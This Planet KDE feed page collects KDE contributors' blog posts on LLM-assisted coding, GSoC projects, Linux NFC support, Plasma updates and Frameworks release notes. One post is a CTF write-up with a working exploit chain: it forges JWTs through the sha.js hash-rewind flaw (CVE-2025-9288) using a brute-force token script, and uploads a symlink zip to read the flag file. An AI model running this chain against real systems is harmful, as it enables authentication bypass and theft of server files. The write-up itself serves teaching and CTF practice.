Planet KDE

Welcome to Planet KDE

This is a feed aggregator that collects what the contributors to the KDE community are writing on their respective blogs, in different languages

Sunday, 16 August 2026

LLM assisted development, vibing, agentic coding – many names for the same thing. The technology has taken huge strides forward and it is interesting to see what it can do. In my mind, one-offs where a solved problem a while ago, and thin vertical applications without too much complexity is another one. To test the last hypothesis, I set out to create a fitness tracker app. Not a Strava competitor, but something that can track weight and other body measurements and correlate it to events (parties, dinners, etc), medication, and the cycle (if the user is a woman).

I decided to go with Claude from Anthropic and their smallest paid plan. The first prompt and some forth and back on the details of the grand plan rendered the first version after four hours spread out over two evenings. Then, after a weeks usage, another hour or so spent on polish.

This means that ~6h in total gave me a usable SPA that can be “installed” to a phone. The thing runs on a VPS under gunicorn and nginx. Frontend is React and backend in Django. Notice that I know nothing of React and some about Django.

So, what are the conclusions? This puts the fun back in development for me. Instead of spending hours fiddling with CSS and other things I’m not comfortable with, I can knock something out. At the same time, I still know enough to be opinionated on the output of the LLM. What it does is that I go and build my small ideas that sit at the back of my mind, instead of having them collecting dust.

In my experience, a framework such as Django does help, as it provides scaffolding and best practices for a lot of things. Also, enforcing a rich collection of tets is helpful (I have 151 frontend tests, 218 backend tests, and a whole bunch of end-to-end tests run using playwright).

What are the pros and cons, then?

Pros:

  • Productivity goes through the roof – when you know what you want.
  • You can discover new tools and technologies as you go along. I did not even know playwright existed before.
  • No more getting stuck on things that you don’t have time to learn to solve a very specific problem – just focus on what you want done and what you want to learn.

Cons:

  • The environmental, ownership and control aspects of the LLM technology.
  • The doom-promting style of development – you need to have big tasks, not sit and stare at a bouncing logo 30s, re-prompt and repeat. (I think this is what people mean when they differentiate agentic development from vibe coding).
  • No more getting stuck on things that you don’t have time to learn to solve a very specific problem – this limits you, as you don’t grow as a developer by learning new things.

This is a weekly update from my Google Summer of Code 2026 project with KDE, improving effect widgets in Kdenlive, a free and open source video editor.

Real usability feedback on MR !928

Julius and Bernd both tested the Speed Ramp changes and raised a genuine concern: the panel currently mixes two related but distinct ideas, time remapping (position based) and speed keyframing (rate based), without making clear which one the new curve and keyframe types actually represent.

Bernd sketched an alternative visualization plotting speed directly. Julius pointed out it would show something different from what the current curve shows, a real design question, not a quick fix.

Jean-Baptiste weighed in with a larger proposal: split the Time Remap effect into two distinct UI modes, one for Time Remap as it exists now, and a new, simpler Speed Ramp mode built around MLT's speed_map parameter instead of time_map, switchable via a toggle in the same widget.

Scoping what fits in the time left

That's a real architectural change, not something to rush into the last stretch of the program. Talked it through with Jean-Baptiste and split his suggestions into what's doable now versus what should wait:

Doable now:

  • Expand the keyframe type list beyond the original curated four
  • Move the Type selector into the toolbar, next to the existing keyframe buttons

Deferred, filed as issue #2231:

  • The full Time Remap / Speed Ramp mode split

A correction along the way

While expanding the type list, tested what the old pre-selector behavior actually serialized as. It turned out to be linear, not discrete, correcting an assumption made earlier in the review thread. Discrete in MLT is a genuinely different shape: the source frame freezes, then jumps at the keyframe boundary, not a gradual ramp that just changes slope abruptly. Flagged the correction on the MR rather than letting it stand.

Also went back and measured which types actually cause the clip to briefly play in reverse on a time map (an overshoot artifact). Only Bounce and Elastic do it in practice, Exponential and Circular measured clean. Updated the MR description to reflect the real numbers instead of the broader guess from a couple weeks ago.

Shipped

  • Type selector now offers all 13 interpolation types the rest of the effect stack already uses, instead of a curated 4
  • Type selector relocated to the toolbar next to the keyframe buttons, freeing up space below the speed fields
  • MR !928 description corrected and up to date with the code
  • Both changes pushed, pipeline green

What's next

Heading into the final week of the program. Reviewing pending feedback across all three widgets, wrapping up documentation, and preparing the final work product submission.

Saturday, 15 August 2026

Introduction

This challenge felt tough. Even though I was the only person who solved this challenge, it's also the case that this is the only challenge I was able to solve in 8 hours.

Since there were special protections against the use of AI and LLMs, it felt especially good after solving this challenge.

Okay, so let's start without further ado,

Source code

https://drive.google.com/file/d/1AFEC93XON668Gq5I8eoVTy1gRgTpvN58/view?usp=sharing

Understanding the application

We are given source code of a web application. We can build it locally using docker.

By reading through the source code and playing with the website, we can understand a couple of things:

  • There's functionality to log-in but no sign-up.

  • Only authenticated users (logged in) can upload files.

  • Since the flag is in the filesystem and there is no route in the application that interacts with the flag, we probably need RCE or some sort of LFI.

Subtask 1: Log-in somehow, anyhow!

It's pretty clear we need to be authenticated to do anything in this application. But there's no way for us to sign-up or register in the application and the admin's password is random and there's no way we can guess it.

So we need to dig deeper.

CVE CVE-2025-9288 | sha.js hash rewind

If you try to audit the package versions inside package.json, you'll quickly find that sha.js which uses 2.4.10 has a critical vulnerability.

You can read more about this vulnerability on it's github advisory: https://github.com/advisories/GHSA-95m3-7q98-8xr5

This CVE can be little bit tricky to understand if you are seeing anything like this for the first time, like me.

You should ideally play around with it and try to understand it yourself, but let me give you the gist of it.

We can pass specially crafted data to the library's update function which triggers something known as a hash rewind.

For example, this is how it's normally supposed to be:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

But if we do,

> require('sha.js')('sha256').update('foobar').update({ length: -3 }).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Notice how we get the same hashes in both the examples even though the data entered is different? The CVE is that we can pass data of type Object like { length: -offset } and it will rewind the hash function's internal state back by offset times which may cause undefined behavior or hash collisions like in our case. We can even DOS the server by using this technique but it's not useful in our case.

Now, an even harder challenge is to figure out how you could use this to login to the application. I spent 2-3 hours at this step.

If we can travel to the past, let's also try to visit the future

This line is the reason for our whole suffering:

const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

We don't know what secret is. So we can never make expectedSignatureHex to be equal to our own created JWT signature.

After a lot of thinking and trail-and-error, I figured out I could also bite off the signature part in my hash rewind.

> require('sha.js')('sha256').update('foo').update({ length: -5 }).update('xyz').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'
> require('sha.js')('sha256').update('z').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'

Note how I did the -5 in the 1st command and it skipped "xy" and we get the hash for "z" only. We traveled to the future.

We can use this trick to skip the entire secret except the last character. The last character can be one of the 16 hex characters.

const JWT_SECRET = crypto.randomBytes(9).toString('hex');

It will be 18 characters, 9 * 2 = 18.

Therefore, we can craft a brute-force attack with our hash rewind payload. We need to pass the hashes of all the 16 hex characters in the JWT signature and one of them will match and the authentication will be successful.

This is the JS script which will give you all the 16 possible JWT tokens:

const sha = require('sha.js');
const HEADER = { alg: 'HS256' };
const HEADER_json_str_len = JSON.stringify(HEADER).length;
const PAYLOAD = { length: -(HEADER_json_str_len + 18) + 1, exp: Math.floor(Date.now() / 1000) + 100000 };
const CHARSET = '0123456789abcdef';
function genSig(c) {
  const hash = sha('sha256');
  return hash.update(c).digest('hex');
}
for (let i=0; i < 16; i++) {
  const c = CHARSET[i];
  const sig = genSig(c);
  const jwt = btoa(JSON.stringify(HEADER)) + "." + btoa(JSON.stringify(PAYLOAD)) + "." + sig;
  console.log(jwt);
}

Then you can use Burp intruder and pass these tokens in the cookies (cookie name is keycode_signal) and you'll find one of them works.

Subtask 2: ZipSlip??

Now we can upload some files. Since the name of the challenge is "ZipSlip-Stream", you might try the simple ZipSlip but it won't work.

And it will be obvious why it won't work because the Dockerfile installs the latest version of unzip which is 99.99% NOT VULNERABLE to ZipSlip

RUN apt-get update \
	&& apt-get install -y unzip \
	&& rm -rf /var/lib/apt/lists/*

To be honest, I required a hint at this point by the challenge author.

So the answer is.....

Symlink LFI

You will realize we aren't just limited to uploading zip files. But uploading a web shell won't work since this is an express server.

So we can exfiltrate the flag using a symlink file. But the important part is to keep the symlink inside the zip file.

We know the exact location of the flag, it's in root.

So we do

ln -s ../../../../../../../../../../flag evil
zip -y evil.zip evil

Then we upload this zip file (make sure to keep the name as "zip" to bypass the regex) and BOOM! We can download the flag by visiting our uploaded file. (/uploads/<some_hex>/evil)

If you have any doubts, feel free to put them in the comment section of this blog :)

Thank you,

Ojas

Following the recent look at the state of GNSS API on Linux Mobile, I did a similar exploration of where we are with the Near Field Communication (NFC) stack.

Use cases

Around NFC there’s a whole bunch of interleaved standards and protocols. Trading simplicity for accuracy here there’s basically two modes of operation:

  • Reading static messages from “dumb” tags that are essentially just raw memory. The most relevant format for this is the NFC Data Exchange Format (NDEF), which is essentially a space-efficient MIME-typed container.
  • Wireless communication with what is ultimately a smart card, ie. some form of application with its own specific bidirectional protocol running on the tag or card.

Reading static NDEF messages is kind of the “hello world” application here, but practically it’s the least relevant one, as QR codes have taken over practically all applications for this, having the better UX.

The smart card approach has more interesting applications:

  • FIDO2 authenticator tokens, e.g. for Passkey authentication.
  • Government issued id cards, e.g. the AusweisApp for interacting with German id cards.
  • Authenticating on NFC-based door locks, e.g. using the Aliro protocol.
  • NFC keys in Apple Wallet passes, e.g. used by some hotels.

The by far most common use is probably mobile payment though, but that has a bunch of harder problems to solve than NFC access before we can also have that on mobile Linux.

Orthogonal to that are the roles between the reader and tag/card that’s being interacted with. Those are often obvious and fixed, for tags/cards without their own power supply. NFC readers however can also pretend to be tags towards other readers, which is the basis for Host Card Emulation (HCE). That’s how mobile payment works, your phone pretends to be a credit card.

What we have

Driver stack

There’s two different driver stacks for accessing NFC readers on Linux:

  • User-space PC/SC drivers. This is coming from smart cards originally and is primarily used for USB-connected desktop readers.
  • The Linux Kernel NFC subsystem. This is what readers in phones use, and also e.g. the NFC reader in a Thinkpad T14s I have here.

The protocol NFC readers speak on a higher level is fortunately standardized with the NFC Controller Interface (NCI).

Middleware

Next up in the stack we have a service bridging the hardware access to applications. The canonical solution for this on Linux is neard. That provides a D-Bus interface for NFC adapters and tags, similar to e.g. BlueZ does for Bluetooth.

Unfortunately it’s in a not particularly convincing state:

  • It terminates when encountering a Type 1 NFC tag (PR 35).
  • It terminates when encountering a multi-lingual smart poster tag (PR 37).
  • It only supports NDEF read/write operations, there is no interface for sending custom commands, nor support for HCE.

Distribution packaging on openSUSE was in a similarly concerning state:

  • A wrong path in the systemd serivce file made it fail to start (fix).
  • A patch to the D-Bus policy breaks half it’s functionality.

My fix for the startup issue was merged and deployed in less than 24h by the openSUSE team at least, my patches for neard have yet to see any reaction.

There’s one potential alternative, nfcd from the SailfishOS team. That seems newer and more active, and seems to have all relevant features. However, it doesn’t have a backend for the Linux NFC subsystem, but rather for the Android NFC interface.

Application API

For bringing NFC access into applications then, there’s the Qt NFC API. While the API covers everything we need, there’s a few practical limitations:

  • There’s two backends for Linux (PC/SC and neard), but unlike in other Qt modules the selection happens solely at compile-time. Build the PC/SC backend and you wont be able to use neard and vice versa.
  • Raw commands are available in the API, but not supported by neard, so that will just not do anything.
  • Writing NDEF messages is implemented but skipped as that apparently previously crashed neard (see QTBUG-43802).
  • Power and polling state handling seemed a bit shaky when something else also changes this, or when there’s more than one NFC reader present. Probably the easiest to fix of all this though.

It does come with a decent NDEF parser though, that’s useful even when directly talking to neard for everything else.

Applications

Finally we need something to actually make use of NFC in the end. So far there seems to be no integration for any of the Linux mobile platforms. In terms of applications, I’m mainly aware of the following two:

  • The already mentioned AusweisApp to authenticate to online services with German id cards. It does come with a Qt NFC and a PC/SC backend, the Qt NFC one will fail to work with neard though as custom commands wont work there.
  • credentialsd which aims at providing the Linux platform API for FIDO2/WebAuthn/Passkeys. That’s also using PC/SC directly it seems.

Development Tools

Working with hardware tends to be inconvenient, so before looking at filling gaps in the stack it makes sense to look at development tools. I fortunately have access to a Proxmark3, an open-source hardware device that can work as an NFC reader, emulate an NFC tag/card and monitor the communication between an NFC reader and card. That’s very useful functionality, but it doesn’t help with making things more convenient, you now have another slightly fragile device to handle.

Photo with Proxmark3 in the lower left corner placed on the NFC reader of a laptop, on the screen of which a notification is displayed.
Proxmark3 emulating a static tag on a Thinkpad NFC reader triggering a KDE notification.

Fortunately, the Linux kernel has support for virtual NCI devices, which we can use for emulating an NFC reader and NFC tags entirely in software. Perfect for testing and reproducability, and doesn’t require any kind of physical NFC hardware.

But while the kernel has all necessary infrastructure for this, I haven’t found a single user-space tool making use of that so far. So I wrote one. This is fairly basic, but it’s at least enough to test power and polling states of readers and to present Type 1 and Type 2 tags with readable and writable memory. That’s enough for the basic NDEF use cases, but not for the more advanced applications. The challenging part there would be to write a software emulation for the actual application though, not the NFC/NCI part.

There’s a few more things worth investigating:

  • A bridge between the virtual NCI interface and the Proxmark3. While using the Proxmark3 as a regular NFC reader is complete overkill, it’s still useful if that’s the only NFC hardware you currently have handy.
  • Exposing (virtual) NFC devices to a VM, for e.g. testing in postmarketOS images.
  • Logging of the NCI communication between the kernel and a hardware NFC reader. Probably doable with some eBPF magic, and maybe outputting in a Wireshark-compatible format.

Platform Integration

Compared to the non-Linux mobile platforms the first thing to notice is that we don’t even have a simple switch to turn NFC on or off on your device. So I wrote a Plasma applet for that, inspired by how this is done for Bluetooth.

For Bluetooth this is backed by bluedevil as a daemon process in the user session, likewise we now have neardevil doing this for NFC. This takes care of the following:

  • Monitor and change power and polling state for NFC readers.
  • Show notifications for detected tags containing static NDEF messages, and allowing to open URLs contained in those.
  • Allow to set up Wi-Fi connections and pair with Bluetooth devices based on corresponding information in static NDEF messages. For this also a dynamic protocol exists where both parties exchange keys over NFC, that’s not implemented and also unlikely to be added later as BlueZ removed the corresponding API for security reasons some time ago.
  • Receive vCard contact information.
Notification after scanning a Bluetooth headset with built-in NFC pairing information.
Bluetooth pairing notification.

This is a prototype at best and there’s of course much more that could still be done here, like keeping a tag history, detecting and handing over to tag-specific apps for e.g. your id card, etc. But it’s a start at least.

How to continue?

So far this is all based on neard, which means as of right now there’s no direct path towards actually supporting the interesting use cases requiring sending and receiving application-specific commands or host card emulation.

There’s a few options on how to address this:

  • neard comes back to live and we get the missing features implemented there.
  • We implement a Linux backend plugin for nfcd and rebase everything on top of that.
  • We implement our own, by forking or by starting from scratch.

“We” here isn’t just KDE though, we need something that works for the entire Linux mobile ecosystem, this is shared platform infrastructure which usually has exclusive hardware access, so everyone bringing their own isn’t going to work.

Thoughts and input on this highly appreciated!

It has been an incredible 12-week journey contributing to the KDE Community for Google Summer of Code 2026! The guidance and support from my mentors, Benson Muite and Srisharan VS was incredible. Lots of contributions and conversation over this happy period.

Here is a comprehensive summary of what we accomplished this summer:

XMPP Integration in Login and UI updates (Weeks 1-3)

I began by integrating in-game XMPP server registration (following XEP-0077: In-Band Registration), complete with compliance checks to ensure protocol adherence. On the frontend, I redesigned the Profile Page to dynamically fetch profile icons and usernames directly from the user's logged-in XMPP account.

login

Tournaments and Gameplay Enhancements (Weeks 4-7)

I made the core logic and UI for creating XMPP game rooms (XEP-0045: Multi-User Chat) and player invitations. I introduced two major tournament styles: Round-Robin and King of the Hill. To keep matches competitive, I implemented time limits for accepting invites and executing game moves.

Beyond tournaments, the actual gameplay received a massive polish. I added smooth displacement animations so shells transition flawlessly from pit to pit, introduced togglable game music, and finalized flatpak artifact builds to make distribution easier.

tournament

Game Bots for Automation and In-Game Chat (Weeks 8-10)

To ensure players always have an opponent, I developed an API Bot for Mankala that automates gameplay moves, complete with OpenAPI documentation. For human opponents, I implemented a real-time text chat system during multiplayer modes directly over our XMPP architecture.

Real-Time Voice Chat (Weeks 11-12)

Taking inspiration from KDE’s Kaidan, I utilized the QXmpp library to implement Jingle (XEP-0167: Jingle RTP Sessions) for media sessions. I designed a C++ VoiceCallManager to listen for incoming Jingle requests, establish peer-to-peer connections, and route audio via QtMultimedia.

The biggest challenge was perfectly syncing the game window with the Jingle state. By exposing properties like call status and remote JIDs to QML, the UI now dynamically hides the text chat and reveals the active voice call layout instantly when a call connects.

I had the privilege of giving a talk on Mankala at the ILUGC monthly meetup, adding standard CONTRIBUTING.md / SETUP.md documentation, and setting up a Craft blueprint. I will be asking ILUGC members for feedback on the new builds.

A huge thank you to my mentors and the KDE community for their constant guidance...🚀

Welcome to a new issue of This Week in Plasma!

This week was full of user interface improvements and performance enhancements, and we snuck in a few features as well:

Notable new features

Plasma 6.8

Remote desktop sessions now offer a fully shared clipboard, rather than only sending the server’s clipboard to the client. (Nick Haghiri, krdp MR #213)

Notable UI improvements

Plasma 6.8

Events shown in the Digital Clock widget now display their descriptions inline, rather than in a hover tooltip. (Francesco Fortunelli, KDE Bugzilla #429700)

The scrolling speed sliders on System Settings’ Mouse and Touchpad pages are now accompanied by spinboxes that permit fine-tuning their speeds. (Wladimir Leuschner, KDE Bugzilla #477745)

Scroll speed spinboxes on System Settings’ Mouse page

Discover now shows all of the external links that apps can set in their metadata. (Taras Oleksyn, KDE Bugzilla #522213)

QBittorrent’s many external links shown in Discover

Interactive UI elements on the logout screen are now only shown on the active monitor, mirroring the same thing on the lock and login screens. And the whole thing now fades in and out faster, too. (Ramil Nurmanov, and Nate Graham, KDE Bugzilla #431382 and kwin MR #9711)

The wallpaper chooser UI that’s visible in System Settings and the desktop configuration window now loads in a smoother and less glitchy-looking way. (Artem Grinev, plasma-workspace MR #6892)

The Power & Battery widget’s “Manually Block Sleep and Screen Locking” switch is now vertically aligned to its icon. See, KDE really does care about margins and alignment! 😁 (Angel Parra, powerdevil MR #662)

New New

Old Old

Notable bug fixes

Plasma 6.6.7

The Power & Battery widget’s tooltip no longer talks about scrolling to change the power mode on systems without either of the power-profiles-daemon or tuned-ppd systems installed and working. (Nate Graham, powerdevil MR #663)

Plasma 6.7.5

Fixed a somewhat common way that Discover could crash on systems using the RPM-OSTree architecture, such as Fedora Kinoite. (Aleix Pol Gonzalez, discover MR #1385)

If the fwupd system service is broken or masked using systemd, the rest of Discover still works as expected. (Tobias Fella, discover MR #1373)

When the Task Manager widget is used with a right-to-left language or its tasks are configured to appear “to the left”, the tasks now move to the expected location when manually rearranged by dragging. (Christoph Wolk, KDE Bugzilla #504898)

Custom accent colors defined within wallpapers are once again honored. (Zhora Zmeykin, KDE Bugzilla #514656)

Plasma 6.8

Fixed a case where the remote desktop server could crash when closing a connection. (Wengsheng Tang, krdp MR #189)

Resizing an aspect-ratio-locked window no longer sometimes makes it disappear! (Vlad Zahorodnii, KDE Bugzilla #479547)

The OSD displayed when muting or unmuting microphones using the Microphone Indicator widget now shows the correct icon. (Undef Fox, KDE Bugzilla #472107)

Apps packaged as Flatpaks or using Nix now get pinned to the Task Manager widget in a more robust way, so they’re less likely to get broken in the future if the underlying locations of their .desktop files change. (Christoph Wolk, KDE Bugzilla #505066)

The Emoji Selector window now uses the same consistent order for the gendered variants of all emojis, not just some of them. (Tobias Ozór, plasma-desktop MR #3939)

New New

Old Old

The pointer now looks even sharper at absurdly enormous sizes when you shake it for ages and ages. (Vlad Zahorodnii, kwin MR #9176)

Absurdly massive pointer that you’ve been shaking for too long, but at least it’s nice and sharp now

Right-clicking twice on the same pixel of the desktop without moving the pointer no longer shows the wrong context menu the second time. (Christoph Wolk, KDE Bugzilla #504765)

Frameworks 6.30

Fixed a bug that could make KDE Connect consume 100% of a whole CPU core. (David Redondo, KDE Bugzilla #517743)

Very large images on the clipboard no longer sometimes fail to paste successfully. (Zhora Zmeykin, KDE Bugzilla #519651)

Various dialogs throughout KDE software once again properly offer the opportunity to open executable text and script files in a text editor app, working around an upstream change in shared-mime-data which had broken this. (Méven Car, KDE Bugzilla #522948)

Kup 0.11.0

Kup’s notification about backup progress no longer erroneously tells you that the backup destination is on your phone that’s paired with KDE Connect. (Harald Sitter, KDE Bugzilla #518494)

Notable in performance & technical

Plasma 6.6.7

Added support for monitoring GPU usage for Intel A380 GPUs. (Takahiro Hashimoto, KDE Bugzilla #517334)

Pasting very large PNG images no longer sometimes causes some lagging and stuttering. (Zhora Zmeykin, plasma-workspace MR #6874)

Plasma 6.7.5

KWin now supports more than one wl_data_device, which opens the door to improved drag-and-drop support in Firefox. (Martin Stransky, KDE Bugzilla #521494)

Spectacle is now slightly faster at taking screenshots on vertically flipped screens. (Zhora Zmeykin, kwin MR #9752)

Plasma 6.8

The new kscreenctl tool now supports setting custom CVT timings/modelines. (Vlad Zahorodnii, KDE Bugzilla #517654)

Frameworks 6.30

Reduced the number of times the common Kirigami.Icon component needs to read from the disk while looking for fallback icons. (Jakob Petsovits, kirigami MR #2139)

The Baloo file indexer now correctly ignores Btrfs snapshots that happen to be stored in your home directory, instead of pointlessly trying to index them. (Hadi Chokr, baloo MR #295)

How you can help

KDE has become important in the world, and your time and contributions have helped us get there. As we grow, we need your support to keep KDE sustainable.

Would you like to help put together this weekly report? Introduce yourself in the Matrix room and join the team!

Beyond that, you can help KDE by directly getting involved in any other projects. Donating time is actually more impactful than donating money. Each contributor makes a huge difference in KDE — you are not a number or a cog in a machine! You don’t have to be a programmer, either; many other opportunities exist.

You can also help out by making a donation! This helps cover operational costs, salaries, travel expenses for contributors, and in general just keeps KDE bringing Free Software to the world.

To get a new Plasma feature or a bug fix mentioned here

Push a commit to the relevant merge request on invent.kde.org.

Friday, 14 August 2026

Friday, 14 August 2026

KDE today announces the release of KDE Frameworks 6.29.0.

This release is part of a series of planned monthly releases making improvements available to developers in a quick and predictable manner.

New in this version

Baloo Bluez Qt
  • Remove obsolete doxygen file. Commit.
  • Mediatypes.h services.h types.h: provide version macros to consumers. Commit.
  • Fix: resolve race condition in Bluetooth object manager initialization. Commit.
Breeze Icons
  • Add im-matrix icon. Commit.
  • Rename icons for typst mimetype. Commit.
  • Add tab icons for KWin Options KCM. Commit.
  • Add Android App Bundle icons. Commit. Implements improvement #508430
  • Remove inkscape cruft from Android Package Archive icons. Commit.
KArchive
  • Kzip: write data in chunks. Commit.
  • Documentation fixes. Commit.
  • Kzip: zip64 write support. Commit. Fixes bug #514117
  • Kzip: use qToLittleEndian. Commit.
  • Kzip: change some ints to qint64 to allow writing zip64 archives. Commit.
  • Kzip: fix opening zip64 archives. Commit.
KCalendarCore
  • Autotests/data/xCalendar-libicalV4 - update reference data for libicalv4. Commit.
  • Add methods for encoding/decoding iCal objects in QMimeData. Commit.
  • Make ScheduleMessage a Q_GADGET. Commit.
  • Remove obsolete doxygen file. Commit.
KCMUtils
  • Kpluginmodel: Only write enabled state when not default. Commit.
  • Run clang-format. Commit.
  • Kcmshell: React to KCModule::representsDefaultsChanged. Commit.
KCodecs
  • [KEncodingProber] Improve const-correctness. Commit.
  • [KEncodingProber] Explicitly initialize some structs. Commit.
  • [KEncodingProber] Replace pointer to SMModel with reference. Commit.
  • [KEncodingProber] Fix broken UTF16 filtering for MBCS. Commit.
  • [KEncodingProber] Fix GB18030 false positive. Commit.
  • [KEncodingProber] Extend unit tests, notably for japanese text. Commit.
  • [KEncodingProber] Shortcut no longer active group probers. Commit.
  • [KEncodingProber] Refactor UnicodeGroupProber. Commit.
  • [KEncodingProber] Refactor Unicode/UTF prober. Commit.
  • [KEncodingProber] Clean up comments and naming for MB mapping. Commit.
  • [KEncodingProber] Make one virtual base method pure virtual. Commit.
  • [KEncodingProber] Remove obsolete padding in state tables. Commit.
  • [KEncodingProber] Replace debug printf with categorized logging output. Commit.
  • [KEncodingProber] Add dedicated logging category. Commit.
  • Remove obsolete doxygen file. Commit.
KCompletion
  • KCompletionBase/KCompletionMatches: move Q_DECLARE_PRIVATE to PRIVATE. Commit.
  • KCompletionBox::eventFilter: minimize code executed when filter not hit. Commit.
KConfig
  • Remove unused variables in KConfig implementation. Commit.
  • Revert "kwindowstatesaverquick: Do not force-show windows". Commit. Fixes bug #522205
  • Add test for KConfigLoader ctor that takes KConfigGroup. Commit.
  • Use Qt for ASCII && alphanumeric detection. Commit.
  • Read config files in system locations before user-writable config files. Commit.
  • Add tests to document status quo. Commit.
  • Kreadconfig: Add option to dump default values. Commit.
  • Kreadconfig: Dump entries sorted by group name/entry key. Commit.
  • Don't change immutable non-default entry when setting default entry. Commit.
  • Add failing tests demonstrating wrong behavior. Commit.
  • Add helper to set/override an environment variable for a test. Commit.
  • Remove obsolete doxygen file. Commit.
  • Always insert deleted key into internal map. Commit. Fixes bug #519481
  • Ensure that deleted default entries are deleted. Commit.
  • Fix generated setters for enum options with UseEnumTypes. Commit.
  • Export StandardAction as Q_ENUM_NS. Commit.
KConfigWidgets
  • Kviewstatemaintainer.h: provide version macros to consumers. Commit.
KContacts
  • Remove dependency on KCoreAddons. Commit.
  • Addresseelist.h: provide version macros to consumers. Commit.
KCoreAddons
  • Kdirwatch: fixme++. Commit.
  • Kdirwatch: sven--. Commit.
  • Kdirwatch: typo--. Commit.
  • Kdirwatch: use certified KDE if style with {}. Commit.
  • KDirWatch: fix/tweak determination of default. Commit.
  • KDirWatch: expose additional verbosity as envvar. Commit.
  • Don't let fromAppStreamFile() modify the application data. Commit.
  • AboutData: Add support for AppStream URLs. Commit.
  • Documentation fixes. Commit.
  • AboutData: Improve fromAppStreamForApplication() usability. Commit.
KCrash KDav
  • Use CardDAV allprop in multiget address-data. Commit.
  • Make sure network replies are parented to the corresponding job. Commit.
  • Add some debug to DavPrincipalSearchJob. Commit.
  • Add a DavSslUiProxy to allow plugging user interaction for SSL errors. Commit.
  • Network: Setup more strict network policy. Commit.
  • Davitemmodifyjob: Fix redirection. Commit.
  • Davmanager: Add missing doctype to sent XML. Commit.
  • Adapt tests. Commit.
  • Port network management from KIO to QNAM. Commit.
  • Add fetching DavPush data in DavCollectionsFetchJob. Commit.
  • Enums.h: provide version macros to consumers. Commit.
KDeclarative
  • Graphicaleffects: Avoid complicated matrix multiply. Commit.
  • Graphicaleffects: Make shader uniform "buf" identical. Commit.
  • Graphicaleffects: Use "coord" input on lanczos.frag shader. Commit.
  • Graphicaleffects: Fix Lanczos shader path. Commit.
  • Remove obsolete doxygen file. Commit.
KDE Daemon
  • Use correct type for desktop file. Commit.
KDE SU
  • Remove obsolete doxygen file. Commit.
KDNSSD
  • Remove obsolete doxygen file. Commit.
KDocTools KFileMetaData
  • Autotests/ossfuzz: clone libpng from github to fix unreliable sourceforge downloads. Commit.
  • Fix overflow in extractAudioProperties. Commit.
  • Taglib: Protect against UnknownFrame. Commit.
  • CI: Disable linux-qt6-next while the datetime regression gets fixed. Commit.
  • Types.h: provide version macros to consumers. Commit.
KGlobalAccel
  • Remove obsolete doxygen file. Commit.
KGuiAddons
  • Add missing since information. Commit.
  • Add KSystemClipboard::ownsClipboard. Commit.
  • Waylandclipboard: Properly clean up device and manager. Commit.
  • Kiconutils: Fix overlay emblem size and placement on non-square icons. Commit. See bug #498211
KHolidays
  • Lunarphase.cpp - use the system timezone rather than utc. Commit.
  • Support Hebrew Calendar holidays. Commit. Fixes bug #383896
  • .clang-tidy - update. Commit.
  • Remove obsolete doxygen file. Commit.
KIconThemes
  • Add notes to drop dependency on KWidgetsAddons for KF7. Commit.
KImageformats
  • Autotests: add AVIF and JXL with animation. Commit.
  • KRA/ORA: merged in a single plugin and added metadata support. Commit.
  • Readme: update supported formats. Commit.
  • Test Readme: added JPG support. Commit.
  • Avif: enable decoding of files with invalid EXIF metadata. Commit.
  • Autotests: allow JPG as test source. Commit.
  • QOI: check format only in lowercase. Commit.
  • Ossfuzz: optimize build, collect all HEIF subformats. Commit.
  • Fix HEIC writetest. Commit.
  • Ossfuzz: enable uncompressed codec in libheif. Commit.
  • Heif: declare read support for HIF. Commit.
  • EXIF: add support for Windows Explorer tags. Commit.
  • Heif: increase Maximum number of child boxes limit. Commit.
  • HEIF: keep reader callback table alive. Commit. Fixes bug #523105
  • More HEIF-related tests. Commit.
  • Heif: AVCI saving, JPEG in HEIF read support. Commit.
  • IFF: support for ZIP compressed RGFX. Commit.
KIO
  • UDSEntry: properly mark deprecated, add missing since, fix doc formatting. Commit.
  • WorkerBase: give connectWorker and disconnectWorker back, deprecated. Commit.
  • Kfileitem: iconName make sure not to read settings unless nessary. Commit.
  • Knewfilemenu: minor refactoring. Commit.
  • Kfileitemactions: remove dead code. Commit.
  • Kfileitemactions: Correctly count actionsMenu actions. Commit.
  • Kfileitem: iconName, allow to read .directory files on remote files. Commit.
  • KFileItem: UDS ID changes are not detected in cmp. Commit. See bug #485052
  • KProcessRunner: Handle canonicalPath() returning bogus values. Commit.
  • Knewfilemenu: convert m_popupFiles into a single QUrl. Commit.
  • Fix clang compilation warnings. Commit.
  • StandardThumbnailJob: stamp the device pixel ratio on generated thumbnails. Commit.
  • Knewfilemenu: remove unnecessary qDebug comments. Commit.
  • Knewfilemenu: minor fixes. Commit.
  • Knewfileinfo: add Antti Savolainen in copyright. Commit.
  • Knewfilemenu: determine sort order during parsing and fix supportedMimeTypes. Commit.
  • Test FilePreviewJob::emitPreview output size and device pixel ratio. Commit.
  • FilePreviewJob: regenerate a cached thumbnail that is too small. Commit.
  • Kdirlister: hold three directories in the lister cache, and not for long. Commit.
  • UDSEntry: do not look for a shared value where values cannot repeat. Commit.
  • UDSEntry: size an entry for the fields it holds when loading it. Commit.
  • Kfileplacesmodel: when baloo is disabled don't go anywhere near it. Commit.
  • UDSEntry use two vectors to store fields value. Commit.
  • Kfilewidgettest: use the QPointF QDragEnterEvent ctor on Qt 6.12+. Commit.
  • KDirModel: ignore stale listing completion for a directory no longer in the model. Commit.
  • KFilePlacesView: cap the icon size by the real row height. Commit.
  • Kioworkers/file: Restore ACL writes in FileProtocol::chmod(). Commit.
  • WidgetsAskUserActionHandler: show the SSL error dialog on the GUI thread. Commit. Fixes bug #519614
  • Knewfileinfo: add parsing fallbacks. Commit.
  • Knewfileinfo: convert QString url to QUrl and QString filePath to QFileInfo. Commit.
  • KUrlComboBox: mark drag properly as copy-only. Commit.
  • KUrlNavigatorButton: Stat with no-auth-prompt. Commit.
  • KIOGui: avoid QtConcurrent module header include, do link Qt6::Concurrent. Commit.
  • CopyJob: cache the destination filesystem type instead of re-probing per file. Commit.
  • KIOCore: drop unused Qt6::Concurrent linking. Commit.
  • Threadconnectionbackendtest: ensure to have a context passed. Commit.
